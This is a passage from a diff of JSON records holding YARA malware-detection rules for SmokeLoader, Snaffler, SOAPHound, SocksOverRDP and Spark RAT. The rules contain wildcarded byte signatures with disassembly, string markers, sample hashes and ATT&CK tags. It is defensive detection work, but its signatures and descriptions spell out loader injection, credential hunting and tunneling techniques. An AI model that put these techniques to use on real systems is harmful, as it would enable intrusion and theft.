33 32       // mov     dword ptr [ebp+eax-30h], 32336C65h\n            8B ?? ??                      // mov     eax, [ebp-38h]\n            83 C0 04                      // add     eax, 4\n            89 ?? ??                      // mov     [ebp-38h], eax\n            8B ?? ??                      // mov     eax, [ebp-38h]\n            C7 ?? ?? ?? 2E 64 6C 6C       // mov     dword ptr [ebp+eax-30h], 6C6C642Eh\n        }\n\n        // srand specific implementation in asm\n        $srand = {\n            55                            // push    ebp\n            8B EC                         // mov     ebp, esp\n            8B 4D 08                      // mov     ecx, [ebp+8]\n            8B 41 0C                      // mov     eax, [ecx+0Ch]\n            69 C0 FD 43 03 00             // imul    eax, 343FDh\n            05 C3 9E 26 00                // add     eax, 269EC3h\n            89 41 0C                      // mov     [ecx+0Ch], eax\n            C1 E8 10                      // shr     eax, 10h\n            25 FF 7F 00 00                // and     eax, 7FFFh\n            5D                            // pop     ebp\n            C3                            // retn\n        }\n\n        $move_strings = {\n            8A 17                         // mov     dl, [edi]\n            88 10                         // mov     [eax], dl\n            8A 57 01                      // mov     dl, [edi+1]\n            88 50 01                      // mov     [eax+1], dl\n            83 C0 02                      // add     eax, 2\n            83 C7 02                      // add     edi, 2\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "smoke_loader_memory_first_stage"
+  ],
+  "rule_creation_date": "2023-10-02",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.SmokeLoader"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1497.001",
+    "attack.t1059.005",
+    "attack.t1547",
+    "attack.t1055.012"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-smoke_loader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.574491Z",
+  "creation_date": "2026-03-23T11:46:25.574493Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.574499Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.youtube.com/watch?v=O69eMQ7NS8w\nhttps://attack.mitre.org/software/S0226/"
+  ],
+  "name": "smoke_loader.yar",
+  "content": "rule smoke_loader {\n    meta:\n        title = \"SmokeLoader\"\n        id = \"5801152b-951b-4f83-8960-f0163f9ef66b\"\n        description = \"Detects the SmokeLoader malware.\\nSmokeLoader is a modular malware downloader first observed in 2011. It uses code obfuscation, API function resolution, and sandbox detection for evasion.\\nThis rule identifies its presence in first-stage executables.\\nAfter execution, SmokeLoader establishes persistence and contacts a C2 server to download additional payloads like banking trojans or ransomware.\"\n        references = \"https://www.youtube.com/watch?v=O69eMQ7NS8w\\nhttps://attack.mitre.org/software/S0226/\"\n        date = \"2024-03-18\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0226;attack.defense_evasion;attack.t1140;attack.t1055.012;attack.t1497.001;attack.execution;attack.t1059.005;attack.persistence;attack.t1547\"\n        classification = \"Windows.Loader.SmokeLoader\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // be5ce235a69b87bbd080436bb83c7a502a53a0f18b2e1e158f6ae027a98abe8c\n        // 08c0f78ca25f7fffb45222d3ddaebb4fcb0dfb9be46580e177f4dbb0470663c3\n        // 4841be428d00d29ab878fda23850d948bc2d12eefb31621c0272e301d95bbc7f\n\n        // First Stage main function is:\n        // Allocates a buffer with LocalAlloc().\n        // Changes permissions with VirtualProtect and jumps to it.\n\n        // Some versions open named/anonymous pipes | checks for HTTP connections | Serial Ports\n\n        $local_alloc =  {\n            a1????????         // mov     eax, dword [data_1ef4de4]\n            50                 // push    eax {var_4}\n            6a00               // push    0x0 {var_8}\n            ff??????????       // call    dword [LocalAlloc]\n            a3????????         // mov     dword [data_1ef4b08], eax\n            c3                 // retn     {__return_addr}\n        }\n\n        // mov     dword [data_1ef4de8], 'k\\x00e' | mov     dword [data_1ef4dec], 'r\\x00n'\n        // mov     dword [data_1ef4dec], 'r\\x00n' | mov     dword [data_1ef4df0], 'e\\x00l'\n        // mov     dword [data_1ef4df0], 'e\\x00l' | mov     dword [data_1ef4df4], '3\\x002'\n        // mov     dword [data_1ef4df4], '3\\x002' | mov     dword [data_1ef4df8], '.\\x00d'\n        // mov     dword [data_1ef4df8], '.\\x00d' | mov     dword [data_1ef4dfc], 'l\\x00l'\n        // mov     dword [data_1ef4dfc], 'l\\x00l' | mov     dword [data_1ef4de8], 'k\\x00e'\n\n        $k32_wcscpy = {\n            (\n                c705????????72006e00\n                c705????????65006c00\n                c705????????33003200\n                c705????????2e006400\n                c705????????6c006c00\n                c705????????6b006500\n                |\n                c705????????6b006500\n                c705????????72006e00\n                c705????????65006c00\n                c705????????33003200\n                c705????????2e006400\n                c705????????6c006c00\n            )\n        }\n\n        // be5ce235a69b87bbd080436bb83c7a502a53a0f18b2e1e158f6ae027a98abe8c\n\n        // int32_t var_8 = 0x20\n        // int32_t var_8_1 = 0x40\n        // uint32_t* dwSize = data_1ef4de4\n        // void* lpAddress = data_1ef4b08\n        // __builtin_wcscpy(dest: &data_1ef4de8, src: u\"kernel32.dll\")\n        // void lpflOldProtect\n        // return VirtualProtect(lpAddress, dwSize, flNewProtect: PAGE_EXECUTE_READWRITE, lpflOldProtect: &lpflOldProtect)\n\n        $vprot_args1= {\n            8b15????????       // mov     edx, dword [data_1ef4de4]\n            a1????????         // mov     eax, dword [data_1ef4b08]\n            33c9               // xor     ecx, ecx  {0x0}\n            66890d????????     // mov     word [data_1ef4e00], cx  {0x0}\n            8d4df8             // lea     ecx, [ebp-0x8 {lpflOldProtect}]\n            51                 // push    ecx {lpflOldProtect} {var_10}\n            6a40               // push    0x40 {var_14}\n            52                 // push    edx {var_18}\n            50                 // push    eax {var_1c}\n        }\n\n        // 4841be428d00d29ab878fda23850d948bc2d12eefb31621c0272e301d95bbc7f\n\n        // __builtin_wcscpy(dest: &data_440e58, src: u\"kernel32.dll\")\n        // FARPROC eax_8 = GetProcAddress(hModule: LoadLibraryW(lpLibFileName: &data_440e58), lpProcName: \"VirtualProtect\")\n        // int32_t edx_7 = data_4411dc\n        // int32_t ecx = data_43ed5c\n        // data_43d4e4 = eax_8\n        // void var_294\n        // return eax_8(ecx, edx_7, 0x40, &var_294)\n\n        $vprot_args2 = {\n            68????????         // push    data_437fc4  {\"VirtualProtect\"}\n            50                 // push    eax {var_2a0}\n            ff??????????       // call    dword [GetProcAddress]\n            8b15????????       // mov     edx, dword [data_4411dc]\n            8d4c????           // lea     ecx, [esp+0x4 {var_294}]\n            51                 // push    ecx {var_294} {var_29c}\n            8b0d????????       // mov     ecx, dword [data_43ed5c]\n            6a40               // push    0x40\n            52                 // push    edx {var_2a4}\n            51                 // push    ecx {var_2a8}\n            a3????????         // mov     dword [data_43d4e4], eax\n            ffd0               // call    eax\n        }\n\n\n        // 08c0f78ca25f7fffb45222d3ddaebb4fcb0dfb9be46580e177f4dbb0470663c3\n\n        // HINSTANCE hModule = GetModuleHandleA(lpModuleName: \"kernel32.dll\")\n        // data_55e04c = hModule\n        // __builtin_strncpy(dest: &data_424488, src: \"VirtualProtect\", n: 0xf)\n        // data_55e040 = GetProcAddress(hModule, lpProcName: &data_424488)\n        // int32_t var_8 = 0x20\n        // void var_4\n        // return data_55e040(data_55e048, data_55f46c, 0x40, &var_4)\n\n        $vprot_stackstring = {\n            68????????         // push    data_402ba8  {\"kernel32.dll\"}\n            ff??????????       // call    dword [GetModuleHandleA]\n            b174               // mov     cl, 0x74\n            b272               // mov     dl, 0x72\n            68????????         // push    data_424488\n            50                 // push    eax {var_10}\n            a34c??????         // mov     dword [data_55e04c], eax\n            c605??????0056     // mov     byte [data_424488], 'V'\n            c605??????0069     // mov     byte [data_424489], 'i'\n            8815??????00       // mov     byte [data_42448a], dl  {'r'}\n            c605??????0050     // mov     byte [data_42448f], 'P'\n            880d??????00       // mov     byte [data_424495], cl  {'t'}\n            c605??????0000     // mov     byte [data_424496], 0x0\n            880d??????00       // mov     byte [data_42448b], cl  {0x74}\n            c605??????0075     // mov     byte [data_42448c], 0x75\n            c605??????0061     // mov     byte [data_42448d], 0x61\n            c605??????006c     // mov     byte [data_42448e], 0x6c\n            8815??????00       // mov     byte [data_424490], dl  {0x72}\n            c605??????006f     // mov     byte [data_424491], 0x6f\n            880d??????00       // mov     byte [data_424492], cl  {0x74}\n            c605??????0065     // mov     byte [data_424493], 0x65\n            c605??????0063     // mov     byte [data_424494], 0x63\n            ff??????????       // call    dword [GetProcAddress]\n        }\n\n\n    condition:\n        $local_alloc and\n        (\n            $k32_wcscpy and (1 of ($vprot_args*)) or\n            $vprot_stackstring\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "smoke_loader"
+  ],
+  "rule_creation_date": "2024-03-18",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.SmokeLoader"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1497.001",
+    "attack.t1059.005",
+    "attack.t1547",
+    "attack.t1055.012"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-snaffler_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573694Z",
+  "creation_date": "2026-03-23T11:46:25.573697Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.573706Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/SnaffCon/Snaffler\nhttps://unit42.paloaltonetworks.com/muddled-libra/\nhttps://attack.mitre.org/techniques/T1087/\nhttps://attack.mitre.org/techniques/T1039/\nhttps://attack.mitre.org/techniques/T1552/"
+  ],
+  "name": "snaffler.yar",
+  "content": "rule snaffler {\n    meta:\n        title = \"Snaffler Tool\"\n        id = \"c70b8fc8-018d-4896-bdc6-9944b0c90c7c\"\n        description = \"Detects Snaffler, a tool used by adversaries to identify potentially sensitive files and shares within Active Directory environments.\\nSnaffler is designed to locate files and resources of interest to attackers, particularly those containing credentials or other valuable information.\\nThe tool is often used in the context of credential access and discovery techniques, making it a key component in adversary toolkits.\\nIt is recommended to investigate the context around this alert to look for malicious actions and to determine if the usage of this tool is legitimate.\"\n        references = \"https://github.com/SnaffCon/Snaffler\\nhttps://unit42.paloaltonetworks.com/muddled-libra/\\nhttps://attack.mitre.org/techniques/T1087/\\nhttps://attack.mitre.org/techniques/T1039/\\nhttps://attack.mitre.org/techniques/T1552/\"\n        date = \"2022-10-21\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1087;attack.collection;attack.t1039;attack.credential_access;attack.t1552\"\n        classification = \"Windows.Tool.Snaffler\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // e04ed4bfab5daa3f41b215e41131768a3bcae3694539544b8a8e547032ce14fa\n        // 4ba38e0595f1ad81558e5424c3fc4c10aecdcc6af54eeea140f5553d0c098991\n        // d964dafefe091f81aaf6f84a21614ff812a2bdf57a021076d221f15a9bb8ef41\n        // 4a41e34267fc4fdf9c890e7de253d7a64fe127f9ac8741a0f83cfcda1b901c43\n\n        // Snaffler uses a default ruleset as classifiers to find files.\n        // The following strings match on some strings from these rules.\n        $rules_1 = \"[[ClassifierRules]]\" fullword ascii\n        $rules_2 = \"RuleName = \\\"DiscardByFileExtension\\\"\" fullword ascii\n        $rules_3 = \"RuleName = \\\"KeepCSharpDbConnStringsYellow\\\"\" fullword ascii\n        $rules_4 = \"RuleName = \\\"KeepAwsKeysInCode\\\"\"\n        $rules_5 = \"WordListType = \\\"Regex\\\"\" fullword ascii\n        $rules_6 = /Triage = \\\"(Red|Green)\\\"/ fullword ascii\n\n        // The following strings are unicode but match.\n        // Basic logo matching\n        $logo_1 = \" .::::::.:::.    :::.  :::.    .-:::::'.-:::::':::    .,:::::: :::::::..\" wide\n        $logo_2 = \";;;`    ``;;;;,  `;;;  ;;`;;   ;;;'''' ;;;'''' ;;;    ;;;;'''' ;;;;``;;;;\" wide\n        $logo_3 = \"'[==/[[[[, [[[[[. '[[ ,[[ '[[, [[[,,== [[[,,== [[[     [[cccc   [[[,/[[['\" wide\n        $logo_4 = \"  '''    $ $$$ 'Y$c$$c$$$cc$$$c`$$$'`` `$$$'`` $$'     $$\\\"\\\"   $$$$$$c\" wide\n        $logo_5 = \" 88b    dP 888    Y88 888   888,888     888   o88oo,.__888oo,__ 888b '88bo,\" wide\n\n        // General strings\n        $general_1 = \"Snaffler.Properties.Resources\" wide\n        $general_2 = \"SnaffCore.Classifiers\" fullword ascii\n        $general_3 = \"SnaffCore.Concurrency\" fullword ascii\n        $general_4 = \"SnaffCore.Config\" fullword ascii\n\n        // Strings for detection on older versions\n        $older_1 = \"get_SnafflePath\" fullword ascii\n        $older_2 = \"set_SnafflePath\" fullword ascii\n        $older_3 = \"costura.snaffcore.pdb.compressed\" fullword ascii\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 1MB and (\n            all of ($rules_*)\n            or all of ($logo_*)\n            or all of ($general_*)\n            or (all of ($older_*) and 1 of ($general_*))\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "snaffler"
+  ],
+  "rule_creation_date": "2022-10-21",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.Snaffler"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1039",
+    "attack.t1087",
+    "attack.t1552"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-soaphound_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572313Z",
+  "creation_date": "2026-03-23T11:46:25.572315Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572320Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/FalconForceTeam/SOAPHound"
+  ],
+  "name": "soaphound.yar",
+  "content": "rule soaphound_generic {\n    meta:\n        title = \"SOAPHound HackTool\"\n        id = \"d44dec15-0195-4fb4-b910-6291ca4a0612\"\n        description = \"Detects SOAPHound, an Active Directory data collector using Active Directory Web Services protocol (ADWS).\\nSOAPHound is a tool designed to gather information from Active Directory environments by leveraging the ADWS protocol. It enables attackers to perform reconnaissance, map out directory structures, and potentially identify hidden relationships between objects, which can be exploited for lateral movement or privilege escalation within the Active Directory.\"\n        references = \"https://github.com/FalconForceTeam/SOAPHound\"\n        date = \"2024-01-26\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery\"\n        classification = \"Windows.HackTool.SOAPHound\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // b049cd2650d343fca4cd8aada3fac4ba12583b7d4bc0a9d8b28e17e1cf550fb7\n\n        $clear_string_marker_exe_name = \"SOAPHound.exe\" ascii\n        $clear_string_marker_pdb_name = \"SOAPHound.pdb\" ascii\n        $clear_string_marker_class_adws = \"SOAPHound.ADWS\" ascii\n        $clear_string_marker_class_Enums = \"SOAPHound.Enums\" ascii\n        $clear_string_marker_class_OutputTypes = \"SOAPHound.OutputTypes\" ascii\n        $clear_string_marker_class_ProcessedByFody = \"SOAPHound_ProcessedByFody\" ascii\n        $clear_string_marker_class_Processors = \"SOAPHound.Processors\" ascii\n\n        // DNS (wide)\n        $string_dns_1 = \"|_ DNS_RPC_RECORD_TS :\" wide\n        $string_dns_2 = \"|_ DNS_RPC_RECORD_A :\" wide\n        $string_dns_3 = \"|_ DNS_RPC_RECORD_NODE_NAME :\" wide\n        $string_dns_4 = \"|_ DNS_RPC_RECORD_SRV\" wide\n        $string_dns_5 = \"|_ DNS_RPC_RECORD_SOA\" wide\n        $string_dns_6 = \"|_ DNS_RPC_RECORD_AAAA :\" wide\n        $string_dns_7 = \"|_ Unimplemented DNS Record Type --->\" wide\n        $string_dns_8 = \"|_ Failed to parse DNS entry..\" wide\n\n        // Error (wide)\n        $string_error_1 = \"No valid mode has been selected. Please execute --help to select a valid mode.\" wide\n        $string_error_2 = \"Output directory is required. Use --outputdirectory\" wide\n        $string_error_3 = \"User must be in the format domain\\\\user or user@domain\" wide\n        $string_error_4 = \"Domain controller is missing, use --dc.\" wide\n        $string_error_5 = \"Password is missing, use --password.\" wide\n        $string_error_6 = \"Cache file name is missing, use --cachefilename.\" wide\n        $string_error_7 = \"AutoSplit threshold is missing, use --threshold.\" wide\n        $string_error_8 = \"Domain is missing and could not be determined automatically, use --domain.\" wide\n        $string_error_9 = \"does not exist. Generate cache before executing this command.\" wide\n\n        // misc_string (wide)\n        $string_misc_1 = \"ADWS request with ldapbase (\" wide\n        $string_misc_2 = \"and ldapproperties: [{0}]\" wide\n        $string_misc_3 = \"Key = {0}, Value = {1}\" wide\n        $string_misc_4 = \"(!soaphound=*)\" wide\n        $string_misc_5 = \"(&(cn=*)(!(cn=a*))(!(cn=b*))(!(cn=c*))(!(cn=d*))(!(cn=e*))(!(cn=f*))(!(cn=g*))(!(cn=h*))(!(cn=i*))(!(cn=j*))(!(cn=k*))(!(cn=l*))(!(cn=m*))(!(cn=n*))(!(cn=o*))(!(cn=p*))(!(cn=q*))(!(cn=r*))(!(cn=s*))(!(cn=t*))(!(cn=u*))(!(cn=v*))(!(cn=w*))(!(cn=x*))(!(cn=y*))(!(cn=z*))(!(cn=0*))(!(cn=1*))(!(cn=2*))(!(cn=3*))(!(cn=4*))(!(cn=5*))(!(cn=6*))(!(cn=7*))(!(cn=8*))(!(cn=9*)))\" wide\n        $string_misc_6 = \"_outputUsers.json\" wide\n        $string_misc_7 = \"_outputComputers.json\" wide\n        $string_misc_8 = \"_outputGroups.json\" wide\n        $string_misc_9 = \"_outputDomains.json\" wide\n        $string_misc_10 = \"_outputGPOs.json\" wide\n        $string_misc_11 = \"_outputOUs.json\" wide\n        $string_misc_12 = \"_outputContainers.json\" wide\n        $string_misc_13 = \"Could not find endpoint with name '{0}'.\" wide\n\n    condition:\n            6 of ($clear_string_marker_*) or\n            5 of ($string_dns_*) or\n            5 of ($string_error_*) or\n            8 of ($string_misc_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "soaphound_generic"
+  ],
+  "rule_creation_date": "2024-01-26",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.SOAPHound"
+  ],
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-socksoverrdp_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571944Z",
+  "creation_date": "2026-03-23T11:46:25.571946Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571951Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/nccgroup/SocksOverRDP\nhttps://attack.mitre.org/techniques/T1572"
+  ],
+  "name": "socksoverrdp.yar",
+  "content": "rule socks_over_rdp {\n    meta:\n        title = \"SockerOverRDP HackTool\"\n        id = \"1caa5bcc-d13e-4520-b8e1-4173c3611431\"\n        description = \"Detects SocksOverRDP, an RDP tunneling tool that can be used as a plugin to an RDP or Citrix server.\\nIf the DLL is registered (usually via \\\"regsvr32.exe\\\" with the DLL place in the \\\"%SystemRoot%\\\\system32\\\\\\\" or \\\"%SystemRoot%\\\\SysWoW64\\\\\\\" folder), the plugin will be executed and listen to the port specified in the \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\Terminal Server Client\\\\Default\\\\AddIns\\\\SocksOverRDP-Plugin\\\" registry path.\\nAdversaries may use the RDP protocol to communicate with their C&C to route traffic and as a way to circumvent network protections.\\nIt is recommended to inspect network traffic of the process, the registry paths mentioned above, the registry key, and any \\\"regsvr32.exe\\\" related alerts to determine if this plugin was installed maliciously.\"\n        references = \"https://github.com/nccgroup/SocksOverRDP\\nhttps://attack.mitre.org/techniques/T1572\"\n        date = \"2025-09-24\"\n        modified = \"2025-09-30\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1572;attack.lateral_movement;attack.t1021.001\"\n        classification = \"Windows.HackTool.SocksOverRDP\"\n        context = \"process,memory,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 118fa37bf3ba4761b7a41c12bcad45edee2b0b56f7f884103bfafc081f39d70e\n        // 7e4463a1220777b9d910f36d52701ef1e02aa44bd4e1172ba78b59296087690c\n        // 3bf45b7cbc505b25fbbb2d461aeac2b69e4d4147e5a25170181c79da7b467966\n\n        $s1 = \"!!! OVERFLOW HAPPENED %ld > %ld\" wide\n        $s2 = \"{B8DC075B-7F8D-4B06-8733-7EB586CA06F0}\" wide\n        $s3 = \"%08X: Last read, smaller or equal.\" wide\n\n    condition:\n        2 of ($s*)\n}",
+  "rule_count": 1,
+  "rule_names": [
+    "socks_over_rdp"
+  ],
+  "rule_creation_date": "2025-09-24",
+  "rule_modified_date": "2025-09-30",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.SocksOverRDP"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1572",
+    "attack.t1021.001"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-sparkrat_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564930Z",
+  "creation_date": "2026-03-23T11:46:25.564932Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564938Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/XZB-1248/Spark/\nhttps://malpedia.caad.fkie.fraunhofer.de/details/win.spark_rat\nhttps://www.clearskysec.com/0d-vulnerability-exploited-in-the_wild/"
+  ],
+  "name": "sparkrat.yar",
+  "content": "rule spark_rat {\n    meta:\n        title = \"Spark RAT Client\"\n        id = \"51d71395-e6da-469a-b380-d2645d755926\"\n        description = \"Detects Spark RAT Client, an open source cross-platform Remote Access Tool (RAT), to remotely control computers.\\nThis tool has been abused by several threat actors in the past and is still in active development.\\nIt is recommended to analyze the context around this alert and investigate further suspicious actions or network connections.\"\n        references = \"https://github.com/XZB-1248/Spark/\\nhttps://malpedia.caad.fkie.fraunhofer.de/details/win.spark_rat\\nhttps://www.clearskysec.com/0d-vulnerability-exploited-in-the_wild/\"\n        date = \"2024-11-14\"\n        modified = \"2025-03-31\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1219\"\n        classification = \"Trojan.SparkRAT\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        arch = \"x86,x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 6586c81f8171773604dfeb3bc2222cb3ccd6f817afcb65a4431581cedf2a1b66\n        // 9cc563bebcafea7d3b95e92bc88ab4a86e66f0c4c413db6032883ecf4d5b6520\n        // 43b828ac4517aafead8841d2f8965bceb1204534b95cbacf34c6df3ddd8f6e06\n        // aaff0c76b5f5255aecdcb838d5fcdf3f3e5142e040f00ea6683c0d5535213f5f\n        // 103c3465516b5b5edd7a493b0cb4eab1a31ca282d693f59e7d6f8fd97e3c436a\n        // d5f2cefc53e8355fe26e8c87f6212abf3a345cd1b82af97ac0bc540fd9dd1ed7\n        // e0b0fe364fe6118e0246d65eeb32a4b3d37c44737dd2aa8d2291af1482cbc99b\n        // bc140d13eb3190d51c46ad5855f32f908b7617ab5b40d38b4e64914733beff85\n        // ec349cfacc7658eed3640f1c475eb958c5f05bae7c2ed74d4cdb7493176daeba\n\n        $generic_specific_s1 = \"SPARK COMMIT:\" ascii\n        $generic_specific_s2 = \"/api/client/update\" ascii\n        $generic_specific_s3 = \"/api/bridge/pull\" ascii\n        $generic_specific_s4 = \"/api/bridge/push\" ascii\n     